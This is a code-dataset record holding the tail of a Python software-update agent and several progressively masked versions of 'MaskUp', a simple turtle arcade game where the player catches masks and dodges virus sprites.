thr.__class__.__name__ +\" active!\")\n allThreads.update({thr.__class__.__name__ : thr})\n if thr.__class__.__name__ == \"GregerClientModule\":\n localLog.debug(\"Greger Client Module thread found! \" +\n allThreads['GregerClientModule'].name)\n\n # Start checking for updates\n loopCount = 0\n while not self.stopExecution.is_set():\n loopCount += 1\n localLog.debug(\"Checking for updates (\" + str(loopCount) + \")...\")\n\n # Get local revision record\n localLog.debug(\"Getting local revision record...\")\n localRevision = self.localRevisionRecord\n\n # Get server revision...\n localLog.debug(\"Getting latest software info...\")\n softwareInfo = self.getSoftwareInfo()\n self.log.info(\"Revision check done! (\" + str(localRevision) + \")\")\n\n if int(localRevision) == int(softwareInfo['revision']):\n self.log.info(\"No new revision found.\")\n else:\n self.log.info(\"New revision found!\")\n\n # Do update!!\n localLog.debug(\"Attempting to update software...\")\n self.updateSoftware()\n\n # Update server with updated software\n localLog.debug(\"Attempting to update server with software info...\")\n allThreads['GregerDatabase'].update('about', softwareInfo)\n\n # Tell GCM to stop all treads (except GUA)...\n self.log.info(\"Attempting to stop all exection before restarting...\")\n allThreads['GregerClientModule'].stopAll(GUA=True)\n\n # Restart Application\n self.log.info(\"Attemption to restart application...\")\n restart_program()\n\n if 'guaCheckUpdateDelay' in GregerDatabase.settings:\n delayTime = GregerDatabase.settings['guaCheckUpdateDelay']['value']\n else:\n delayTime = 10\n self.log.warning(\"Settings not defined! (using default=10)\")\n\n # Wait update delay\n self.log.info(\"Waiting \" + str(delayTime) + \"s...\")\n self.stopExecution.wait(delayTime)\n\n self.log.info(\"Greger Update Agent (GUA) execution stopped!\")\n", "step-ids": [ 5, 6, 7, 8, 11 ] }

[ 5, 6, 7, 8, 11 ]

<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.register_shape('human.gif') def game_loop(): score = 0 lives = 3 wn.register_shape('human.gif') wn.register_shape('Evil-Virus.gif') wn.register_shape('surgical-mask.gif') player = turtle.Turtle() player.speed(0) player.shape('human.gif') player.color('white') player.penup() player.goto(0, -250) player.direction = 'stop' good_guys = [] for _ in range(3): good_guy = turtle.Turtle() good_guy.speed(0) good_guy.shape('surgical-mask.gif') good_guy.color('blue') good_guy.penup() good_guy.goto(-100, 250) good_guy.speed = random.uniform(0.3, 2.0) good_guys.append(good_guy) bad_guys = [] for _ in range(5): bad_guy = turtle.Turtle() bad_guy.speed(0) bad_guy.shape('Evil-Virus.gif') bad_guy.color('red') bad_guy.penup() bad_guy.goto(100, 250) bad_guy.speed = random.uniform(0.3, 1.0) bad_guys.append(bad_guy) pen = turtle.Turtle() pen.hideturtle() pen.speed(0) pen.shape('square') pen.color('white') pen.penup() pen.goto(0, 260) font = 'Courier', 24, 'normal' pen.write('Score: {} Lives: {}'.format(score, lives), align='center', font=font) def show_message(score): message = turtle.Turtle() message.hideturtle() message.speed(0) message.color('yellow') message.penup() message.goto(0, 0) font = 'Calibri', 24, 'bold' message.write( 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\n Score: {}\n!MASK UP and STAY SAFE!' .format(score), align='center', font=font) def go_left(): player.direction = 'left' def go_right(): player.direction = 'right' def stop_player(): player.direction = 'stop' wn.listen() wn.onkeypress(go_left, 'Left') wn.onkeyrelease(stop_player, 'Left') wn.onkeypress(go_right, 'Right') wn.onkeyrelease(stop_player, 'Right') while True: wn.update() if player.direction == 'left': x = player.xcor() if x > -365: x -= 0.8 player.setx(x) if player.direction == 'right': x = player.xcor() if x < 365: x += 0.8 player.setx(x) for good_guy in good_guys: y = good_guy.ycor() y -= good_guy.speed good_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) if good_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) score += 10 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('video_game_retro_8bit_coin', winsound. SND_FILENAME) for bad_guy in bad_guys: y = bad_guy.ycor() y -= bad_guy.speed bad_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) if bad_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) score -= 10 lives -= 1 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('arcade_game_alarm_short', winsound. SND_FILENAME) if lives <= 0: pen.clear() bad_guy.clear() good_guy.clear() show_message(score) winsound.PlaySound('game_over_sound', winsound.SND_FILENAME) break while True: wn.update() wn.bgpic('retro_city.gif') winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP) game_loop() turtle.Screen().clear() wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.mainloop() <|reserved_special_token_1|> <|reserved_special_token_0|> wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.register_shape('human.gif') def game_loop(): score = 0 lives = 3 wn.register_shape('human.gif') wn.register_shape('Evil-Virus.gif') wn.register_shape('surgical-mask.gif') player = turtle.Turtle() player.speed(0) player.shape('human.gif') player.color('white') player.penup() player.goto(0, -250) player.direction = 'stop' good_guys = [] for _ in range(3): good_guy = turtle.Turtle() good_guy.speed(0) good_guy.shape('surgical-mask.gif') good_guy.color('blue') good_guy.penup() good_guy.goto(-100, 250) good_guy.speed = random.uniform(0.3, 2.0) good_guys.append(good_guy) bad_guys = [] for _ in range(5): bad_guy = turtle.Turtle() bad_guy.speed(0) bad_guy.shape('Evil-Virus.gif') bad_guy.color('red') bad_guy.penup() bad_guy.goto(100, 250) bad_guy.speed = random.uniform(0.3, 1.0) bad_guys.append(bad_guy) pen = turtle.Turtle() pen.hideturtle() pen.speed(0) pen.shape('square') pen.color('white') pen.penup() pen.goto(0, 260) font = 'Courier', 24, 'normal' pen.write('Score: {} Lives: {}'.format(score, lives), align='center', font=font) def show_message(score): message = turtle.Turtle() message.hideturtle() message.speed(0) message.color('yellow') message.penup() message.goto(0, 0) font = 'Calibri', 24, 'bold' message.write( 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\n Score: {}\n!MASK UP and STAY SAFE!' .format(score), align='center', font=font) def go_left(): player.direction = 'left' def go_right(): player.direction = 'right' def stop_player(): player.direction = 'stop' wn.listen() wn.onkeypress(go_left, 'Left') wn.onkeyrelease(stop_player, 'Left') wn.onkeypress(go_right, 'Right') wn.onkeyrelease(stop_player, 'Right') while True: wn.update() if player.direction == 'left': x = player.xcor() if x > -365: x -= 0.8 player.setx(x) if player.direction == 'right': x = player.xcor() if x < 365: x += 0.8 player.setx(x) for good_guy in good_guys: y = good_guy.ycor() y -= good_guy.speed good_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) if good_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) score += 10 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('video_game_retro_8bit_coin', winsound. SND_FILENAME) for bad_guy in bad_guys: y = bad_guy.ycor() y -= bad_guy.speed bad_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) if bad_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) score -= 10 lives -= 1 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('arcade_game_alarm_short', winsound. SND_FILENAME) if lives <= 0: pen.clear() bad_guy.clear() good_guy.clear() show_message(score) winsound.PlaySound('game_over_sound', winsound.SND_FILENAME) break while True: wn.update() wn.bgpic('retro_city.gif') winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP) game_loop() turtle.Screen().clear() wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.mainloop() <|reserved_special_token_1|> import turtle import random import winsound import sys <|reserved_special_token_0|> wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.register_shape('human.gif') def game_loop(): score = 0 lives = 3 wn.register_shape('human.gif') wn.register_shape('Evil-Virus.gif') wn.register_shape('surgical-mask.gif') player = turtle.Turtle() player.speed(0) player.shape('human.gif') player.color('white') player.penup() player.goto(0, -250) player.direction = 'stop' good_guys = [] for _ in range(3): good_guy = turtle.Turtle() good_guy.speed(0) good_guy.shape('surgical-mask.gif') good_guy.color('blue') good_guy.penup() good_guy.goto(-100, 250) good_guy.speed = random.uniform(0.3, 2.0) good_guys.append(good_guy) bad_guys = [] for _ in range(5): bad_guy = turtle.Turtle() bad_guy.speed(0) bad_guy.shape('Evil-Virus.gif') bad_guy.color('red') bad_guy.penup() bad_guy.goto(100, 250) bad_guy.speed = random.uniform(0.3, 1.0) bad_guys.append(bad_guy) pen = turtle.Turtle() pen.hideturtle() pen.speed(0) pen.shape('square') pen.color('white') pen.penup() pen.goto(0, 260) font = 'Courier', 24, 'normal' pen.write('Score: {} Lives: {}'.format(score, lives), align='center', font=font) def show_message(score): message = turtle.Turtle() message.hideturtle() message.speed(0) message.color('yellow') message.penup() message.goto(0, 0) font = 'Calibri', 24, 'bold' message.write( 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\n Score: {}\n!MASK UP and STAY SAFE!' .format(score), align='center', font=font) def go_left(): player.direction = 'left' def go_right(): player.direction = 'right' def stop_player(): player.direction = 'stop' wn.listen() wn.onkeypress(go_left, 'Left') wn.onkeyrelease(stop_player, 'Left') wn.onkeypress(go_right, 'Right') wn.onkeyrelease(stop_player, 'Right') while True: wn.update() if player.direction == 'left': x = player.xcor() if x > -365: x -= 0.8 player.setx(x) if player.direction == 'right': x = player.xcor() if x < 365: x += 0.8 player.setx(x) for good_guy in good_guys: y = good_guy.ycor() y -= good_guy.speed good_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) if good_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) score += 10 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('video_game_retro_8bit_coin', winsound. SND_FILENAME) for bad_guy in bad_guys: y = bad_guy.ycor() y -= bad_guy.speed bad_guy.sety(y) if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) if bad_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) score -= 10 lives -= 1 pen.clear() pen.write('Score: {} Lives: {}'.format(score, lives), align ='center', font=font) winsound.PlaySound('arcade_game_alarm_short', winsound. SND_FILENAME) if lives <= 0: pen.clear() bad_guy.clear() good_guy.clear() show_message(score) winsound.PlaySound('game_over_sound', winsound.SND_FILENAME) break while True: wn.update() wn.bgpic('retro_city.gif') winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP) game_loop() turtle.Screen().clear() wn = turtle.Screen() wn.title('MaskUp') wn.bgcolor('green') wn.bgpic('retro_city_title_page.gif') wn.setup(width=800, height=600) wn.tracer(0) wn.mainloop() <|reserved_special_token_1|> import turtle import random import winsound import sys """ new_game = False def toggle_new_game(): global new_game if new_game == False: new_game = True else: new_game = False """ wn = turtle.Screen() wn.title("MaskUp") wn.bgcolor("green") wn.bgpic("retro_city_title_page.gif") wn.setup(width=800, height=600) wn.tracer(0) wn.register_shape("human.gif") def game_loop(): score = 0 lives = 3 wn.register_shape("human.gif") wn.register_shape("Evil-Virus.gif") wn.register_shape("surgical-mask.gif") # Add the player player = turtle.Turtle() player.speed(0) player.shape("human.gif") player.color("white") player.penup() player.goto(0, -250) player.direction = "stop" # Create a list of good guys good_guys = [] # Add the good_guys for _ in range(3): good_guy = turtle.Turtle() good_guy.speed(0) good_guy.shape("surgical-mask.gif") good_guy.color("blue") good_guy.penup() good_guy.goto(-100, 250) good_guy.speed = random.uniform(0.3, 2.0) good_guys.append(good_guy) # Create a list of bad guys bad_guys = [] # Add the bad_guys for _ in range(5): bad_guy = turtle.Turtle() bad_guy.speed(0) bad_guy.shape("Evil-Virus.gif") bad_guy.color("red") bad_guy.penup() bad_guy.goto(100, 250) bad_guy.speed = random.uniform(0.3, 1.0) bad_guys.append(bad_guy) # Make the pen pen = turtle.Turtle() pen.hideturtle() pen.speed(0) pen.shape("square") pen.color("white") pen.penup() pen.goto(0, 260) font = ("Courier", 24, "normal") pen.write("Score: {} Lives: {}".format(score, lives), align="center", font=font) # Make the message def show_message(score): message = turtle.Turtle() message.hideturtle() message.speed(0) message.color("yellow") message.penup() message.goto(0, 0) font = ("Calibri", 24, "bold") message.write("GAME OVER: TOO MUCH EXPOSURE TO VIRUS\n Score: {}\n!MASK UP and STAY SAFE!".format(score), align="center", font=font) # Functions def go_left(): player.direction = "left" def go_right(): player.direction = "right" def stop_player(): player.direction = "stop" # Keyboard Binding wn.listen() wn.onkeypress(go_left, "Left") wn.onkeyrelease(stop_player, "Left") wn.onkeypress(go_right, "Right") wn.onkeyrelease(stop_player, "Right") while True: # Update screen wn.update() # Move the player if player.direction == "left": x = player.xcor() if x > -365: x -= 0.8 player.setx(x) if player.direction == "right": x = player.xcor() if x < 365: x += 0.8 player.setx(x) # Move the good guys for good_guy in good_guys: y = good_guy.ycor() y -= good_guy.speed good_guy.sety(y) # Check if off the screen if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) # Check for a collision with player if good_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) good_guy.goto(x, y) score += 10 pen.clear() pen.write("Score: {} Lives: {}".format(score, lives), align="center", font=font) winsound.PlaySound("video_game_retro_8bit_coin", winsound.SND_FILENAME) # Move the bad guys for bad_guy in bad_guys: y = bad_guy.ycor() y -= bad_guy.speed bad_guy.sety(y) # Check if off the screen if y < -300: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) # Check for a collision with player if bad_guy.distance(player) < 40: x = random.randint(-380, 380) y = random.randint(300, 400) bad_guy.goto(x, y) score -= 10 lives -= 1 pen.clear() pen.write("Score: {} Lives: {}".format(score, lives), align="center", font=font) winsound.PlaySound("arcade_game_alarm_short", winsound.SND_FILENAME) if lives <= 0: pen.clear() bad_guy.clear() good_guy.clear() show_message(score) winsound.PlaySound("game_over_sound", winsound.SND_FILENAME) # wn.listen() # if wn.onkeypress(toggle_new_game, "a"): # if new_game == True: break # wn.onkeypress(sys.exit(), "q") while True: # Update screen wn.update() # Play music wn.bgpic("retro_city.gif") winsound.PlaySound("retro_video_game_music-trimmed", winsound.SND_LOOP) game_loop() turtle.Screen().clear() wn = turtle.Screen() wn.title("MaskUp") wn.bgcolor("green") wn.bgpic("retro_city_title_page.gif") wn.setup(width=800, height=600) wn.tracer(0) #sys.exit() wn.mainloop()

flexible

{ "blob_id": "1593280a29b13461b13d8b2805d9ac53ce94c759", "index": 2948, "step-1": "<mask token>\n", "step-2": "<mask token>\nwn.title('MaskUp')\nwn.bgcolor('green')\nwn.bgpic('retro_city_title_page.gif')\nwn.setup(width=800, height=600)\nwn.tracer(0)\nwn.register_shape('human.gif')\n\n\ndef game_loop():\n score = 0\n lives = 3\n wn.register_shape('human.gif')\n wn.register_shape('Evil-Virus.gif')\n wn.register_shape('surgical-mask.gif')\n player = turtle.Turtle()\n player.speed(0)\n player.shape('human.gif')\n player.color('white')\n player.penup()\n player.goto(0, -250)\n player.direction = 'stop'\n good_guys = []\n for _ in range(3):\n good_guy = turtle.Turtle()\n good_guy.speed(0)\n good_guy.shape('surgical-mask.gif')\n good_guy.color('blue')\n good_guy.penup()\n good_guy.goto(-100, 250)\n good_guy.speed = random.uniform(0.3, 2.0)\n good_guys.append(good_guy)\n bad_guys = []\n for _ in range(5):\n bad_guy = turtle.Turtle()\n bad_guy.speed(0)\n bad_guy.shape('Evil-Virus.gif')\n bad_guy.color('red')\n bad_guy.penup()\n bad_guy.goto(100, 250)\n bad_guy.speed = random.uniform(0.3, 1.0)\n bad_guys.append(bad_guy)\n pen = turtle.Turtle()\n pen.hideturtle()\n pen.speed(0)\n pen.shape('square')\n pen.color('white')\n pen.penup()\n pen.goto(0, 260)\n font = 'Courier', 24, 'normal'\n pen.write('Score: {} Lives: {}'.format(score, lives), align='center',\n font=font)\n\n def show_message(score):\n message = turtle.Turtle()\n message.hideturtle()\n message.speed(0)\n message.color('yellow')\n message.penup()\n message.goto(0, 0)\n font = 'Calibri', 24, 'bold'\n message.write(\n 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\\n Score: {}\\n!MASK UP and STAY SAFE!'\n .format(score), align='center', font=font)\n\n def go_left():\n player.direction = 'left'\n\n def go_right():\n player.direction = 'right'\n\n def stop_player():\n player.direction = 'stop'\n wn.listen()\n wn.onkeypress(go_left, 'Left')\n wn.onkeyrelease(stop_player, 'Left')\n wn.onkeypress(go_right, 'Right')\n wn.onkeyrelease(stop_player, 'Right')\n while True:\n wn.update()\n if player.direction == 'left':\n x = player.xcor()\n if x > -365:\n x -= 0.8\n player.setx(x)\n if player.direction == 'right':\n x = player.xcor()\n if x < 365:\n x += 0.8\n player.setx(x)\n for good_guy in good_guys:\n y = good_guy.ycor()\n y -= good_guy.speed\n good_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n if good_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n score += 10\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('video_game_retro_8bit_coin', winsound.\n SND_FILENAME)\n for bad_guy in bad_guys:\n y = bad_guy.ycor()\n y -= bad_guy.speed\n bad_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n if bad_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n score -= 10\n lives -= 1\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('arcade_game_alarm_short', winsound.\n SND_FILENAME)\n if lives <= 0:\n pen.clear()\n bad_guy.clear()\n good_guy.clear()\n show_message(score)\n winsound.PlaySound('game_over_sound', winsound.SND_FILENAME)\n break\n\n\nwhile True:\n wn.update()\n wn.bgpic('retro_city.gif')\n winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP)\n game_loop()\n turtle.Screen().clear()\n wn = turtle.Screen()\n wn.title('MaskUp')\n wn.bgcolor('green')\n wn.bgpic('retro_city_title_page.gif')\n wn.setup(width=800, height=600)\n wn.tracer(0)\nwn.mainloop()\n", "step-3": "<mask token>\nwn = turtle.Screen()\nwn.title('MaskUp')\nwn.bgcolor('green')\nwn.bgpic('retro_city_title_page.gif')\nwn.setup(width=800, height=600)\nwn.tracer(0)\nwn.register_shape('human.gif')\n\n\ndef game_loop():\n score = 0\n lives = 3\n wn.register_shape('human.gif')\n wn.register_shape('Evil-Virus.gif')\n wn.register_shape('surgical-mask.gif')\n player = turtle.Turtle()\n player.speed(0)\n player.shape('human.gif')\n player.color('white')\n player.penup()\n player.goto(0, -250)\n player.direction = 'stop'\n good_guys = []\n for _ in range(3):\n good_guy = turtle.Turtle()\n good_guy.speed(0)\n good_guy.shape('surgical-mask.gif')\n good_guy.color('blue')\n good_guy.penup()\n good_guy.goto(-100, 250)\n good_guy.speed = random.uniform(0.3, 2.0)\n good_guys.append(good_guy)\n bad_guys = []\n for _ in range(5):\n bad_guy = turtle.Turtle()\n bad_guy.speed(0)\n bad_guy.shape('Evil-Virus.gif')\n bad_guy.color('red')\n bad_guy.penup()\n bad_guy.goto(100, 250)\n bad_guy.speed = random.uniform(0.3, 1.0)\n bad_guys.append(bad_guy)\n pen = turtle.Turtle()\n pen.hideturtle()\n pen.speed(0)\n pen.shape('square')\n pen.color('white')\n pen.penup()\n pen.goto(0, 260)\n font = 'Courier', 24, 'normal'\n pen.write('Score: {} Lives: {}'.format(score, lives), align='center',\n font=font)\n\n def show_message(score):\n message = turtle.Turtle()\n message.hideturtle()\n message.speed(0)\n message.color('yellow')\n message.penup()\n message.goto(0, 0)\n font = 'Calibri', 24, 'bold'\n message.write(\n 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\\n Score: {}\\n!MASK UP and STAY SAFE!'\n .format(score), align='center', font=font)\n\n def go_left():\n player.direction = 'left'\n\n def go_right():\n player.direction = 'right'\n\n def stop_player():\n player.direction = 'stop'\n wn.listen()\n wn.onkeypress(go_left, 'Left')\n wn.onkeyrelease(stop_player, 'Left')\n wn.onkeypress(go_right, 'Right')\n wn.onkeyrelease(stop_player, 'Right')\n while True:\n wn.update()\n if player.direction == 'left':\n x = player.xcor()\n if x > -365:\n x -= 0.8\n player.setx(x)\n if player.direction == 'right':\n x = player.xcor()\n if x < 365:\n x += 0.8\n player.setx(x)\n for good_guy in good_guys:\n y = good_guy.ycor()\n y -= good_guy.speed\n good_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n if good_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n score += 10\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('video_game_retro_8bit_coin', winsound.\n SND_FILENAME)\n for bad_guy in bad_guys:\n y = bad_guy.ycor()\n y -= bad_guy.speed\n bad_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n if bad_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n score -= 10\n lives -= 1\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('arcade_game_alarm_short', winsound.\n SND_FILENAME)\n if lives <= 0:\n pen.clear()\n bad_guy.clear()\n good_guy.clear()\n show_message(score)\n winsound.PlaySound('game_over_sound', winsound.SND_FILENAME)\n break\n\n\nwhile True:\n wn.update()\n wn.bgpic('retro_city.gif')\n winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP)\n game_loop()\n turtle.Screen().clear()\n wn = turtle.Screen()\n wn.title('MaskUp')\n wn.bgcolor('green')\n wn.bgpic('retro_city_title_page.gif')\n wn.setup(width=800, height=600)\n wn.tracer(0)\nwn.mainloop()\n", "step-4": "import turtle\nimport random\nimport winsound\nimport sys\n<mask token>\nwn = turtle.Screen()\nwn.title('MaskUp')\nwn.bgcolor('green')\nwn.bgpic('retro_city_title_page.gif')\nwn.setup(width=800, height=600)\nwn.tracer(0)\nwn.register_shape('human.gif')\n\n\ndef game_loop():\n score = 0\n lives = 3\n wn.register_shape('human.gif')\n wn.register_shape('Evil-Virus.gif')\n wn.register_shape('surgical-mask.gif')\n player = turtle.Turtle()\n player.speed(0)\n player.shape('human.gif')\n player.color('white')\n player.penup()\n player.goto(0, -250)\n player.direction = 'stop'\n good_guys = []\n for _ in range(3):\n good_guy = turtle.Turtle()\n good_guy.speed(0)\n good_guy.shape('surgical-mask.gif')\n good_guy.color('blue')\n good_guy.penup()\n good_guy.goto(-100, 250)\n good_guy.speed = random.uniform(0.3, 2.0)\n good_guys.append(good_guy)\n bad_guys = []\n for _ in range(5):\n bad_guy = turtle.Turtle()\n bad_guy.speed(0)\n bad_guy.shape('Evil-Virus.gif')\n bad_guy.color('red')\n bad_guy.penup()\n bad_guy.goto(100, 250)\n bad_guy.speed = random.uniform(0.3, 1.0)\n bad_guys.append(bad_guy)\n pen = turtle.Turtle()\n pen.hideturtle()\n pen.speed(0)\n pen.shape('square')\n pen.color('white')\n pen.penup()\n pen.goto(0, 260)\n font = 'Courier', 24, 'normal'\n pen.write('Score: {} Lives: {}'.format(score, lives), align='center',\n font=font)\n\n def show_message(score):\n message = turtle.Turtle()\n message.hideturtle()\n message.speed(0)\n message.color('yellow')\n message.penup()\n message.goto(0, 0)\n font = 'Calibri', 24, 'bold'\n message.write(\n 'GAME OVER: TOO MUCH EXPOSURE TO VIRUS\\n Score: {}\\n!MASK UP and STAY SAFE!'\n .format(score), align='center', font=font)\n\n def go_left():\n player.direction = 'left'\n\n def go_right():\n player.direction = 'right'\n\n def stop_player():\n player.direction = 'stop'\n wn.listen()\n wn.onkeypress(go_left, 'Left')\n wn.onkeyrelease(stop_player, 'Left')\n wn.onkeypress(go_right, 'Right')\n wn.onkeyrelease(stop_player, 'Right')\n while True:\n wn.update()\n if player.direction == 'left':\n x = player.xcor()\n if x > -365:\n x -= 0.8\n player.setx(x)\n if player.direction == 'right':\n x = player.xcor()\n if x < 365:\n x += 0.8\n player.setx(x)\n for good_guy in good_guys:\n y = good_guy.ycor()\n y -= good_guy.speed\n good_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n if good_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n good_guy.goto(x, y)\n score += 10\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('video_game_retro_8bit_coin', winsound.\n SND_FILENAME)\n for bad_guy in bad_guys:\n y = bad_guy.ycor()\n y -= bad_guy.speed\n bad_guy.sety(y)\n if y < -300:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n if bad_guy.distance(player) < 40:\n x = random.randint(-380, 380)\n y = random.randint(300, 400)\n bad_guy.goto(x, y)\n score -= 10\n lives -= 1\n pen.clear()\n pen.write('Score: {} Lives: {}'.format(score, lives), align\n ='center', font=font)\n winsound.PlaySound('arcade_game_alarm_short', winsound.\n SND_FILENAME)\n if lives <= 0:\n pen.clear()\n bad_guy.clear()\n good_guy.clear()\n show_message(score)\n winsound.PlaySound('game_over_sound', winsound.SND_FILENAME)\n break\n\n\nwhile True:\n wn.update()\n wn.bgpic('retro_city.gif')\n winsound.PlaySound('retro_video_game_music-trimmed', winsound.SND_LOOP)\n game_loop()\n turtle.Screen().clear()\n wn = turtle.Screen()\n wn.title('MaskUp')\n wn.bgcolor('green')\n wn.bgpic('retro_city_title_page.gif')\n wn.setup(width=800, height=600)\n wn.tracer(0)\nwn.mainloop()\n", "step-5": "\r\nimport turtle\r\nimport random\r\nimport winsound\r\nimport sys\r\n\r\n\r\n\r\n\"\"\" new_game = False\r\n\r\ndef toggle_new_game():\r\n global new_game\r\n if new_game == False:\r\n new_game = True\r\n else:\r\n new_game = False \"\"\"\r\n\r\nwn = turtle.Screen()\r\nwn.title(\"MaskUp\")\r\nwn.bgcolor(\"green\")\r\nwn.bgpic(\"retro_city_title_page.gif\")\r\nwn.setup(width=800, height=600)\r\nwn.tracer(0)\r\nwn.register_shape(\"human.gif\")\r\n\r\n\r\ndef game_loop():\r\n score = 0\r\n lives = 3\r\n\r\n wn.register_shape(\"human.gif\")\r\n wn.register_shape(\"Evil-Virus.gif\")\r\n wn.register_shape(\"surgical-mask.gif\")\r\n\r\n # Add the player\r\n player = turtle.Turtle()\r\n player.speed(0)\r\n player.shape(\"human.gif\")\r\n player.color(\"white\")\r\n player.penup()\r\n player.goto(0, -250)\r\n player.direction = \"stop\"\r\n\r\n\r\n # Create a list of good guys\r\n good_guys = []\r\n\r\n # Add the good_guys\r\n for _ in range(3):\r\n good_guy = turtle.Turtle()\r\n good_guy.speed(0)\r\n good_guy.shape(\"surgical-mask.gif\")\r\n good_guy.color(\"blue\")\r\n good_guy.penup()\r\n good_guy.goto(-100, 250)\r\n good_guy.speed = random.uniform(0.3, 2.0)\r\n good_guys.append(good_guy)\r\n\r\n # Create a list of bad guys\r\n bad_guys = []\r\n\r\n # Add the bad_guys\r\n for _ in range(5):\r\n bad_guy = turtle.Turtle()\r\n bad_guy.speed(0)\r\n bad_guy.shape(\"Evil-Virus.gif\")\r\n bad_guy.color(\"red\")\r\n bad_guy.penup()\r\n bad_guy.goto(100, 250)\r\n bad_guy.speed = random.uniform(0.3, 1.0)\r\n bad_guys.append(bad_guy)\r\n\r\n \r\n # Make the pen\r\n pen = turtle.Turtle()\r\n pen.hideturtle()\r\n pen.speed(0)\r\n pen.shape(\"square\")\r\n pen.color(\"white\")\r\n pen.penup()\r\n pen.goto(0, 260)\r\n font = (\"Courier\", 24, \"normal\")\r\n pen.write(\"Score: {} Lives: {}\".format(score, lives), align=\"center\", font=font)\r\n\r\n # Make the message\r\n def show_message(score):\r\n message = turtle.Turtle()\r\n message.hideturtle()\r\n message.speed(0)\r\n message.color(\"yellow\")\r\n message.penup()\r\n message.goto(0, 0)\r\n font = (\"Calibri\", 24, \"bold\")\r\n message.write(\"GAME OVER: TOO MUCH EXPOSURE TO VIRUS\\n Score: {}\\n!MASK UP and STAY SAFE!\".format(score), align=\"center\", font=font) \r\n\r\n # Functions\r\n def go_left():\r\n player.direction = \"left\"\r\n\r\n def go_right():\r\n player.direction = \"right\"\r\n\r\n def stop_player():\r\n player.direction = \"stop\"\r\n\r\n # Keyboard Binding\r\n wn.listen()\r\n wn.onkeypress(go_left, \"Left\")\r\n wn.onkeyrelease(stop_player, 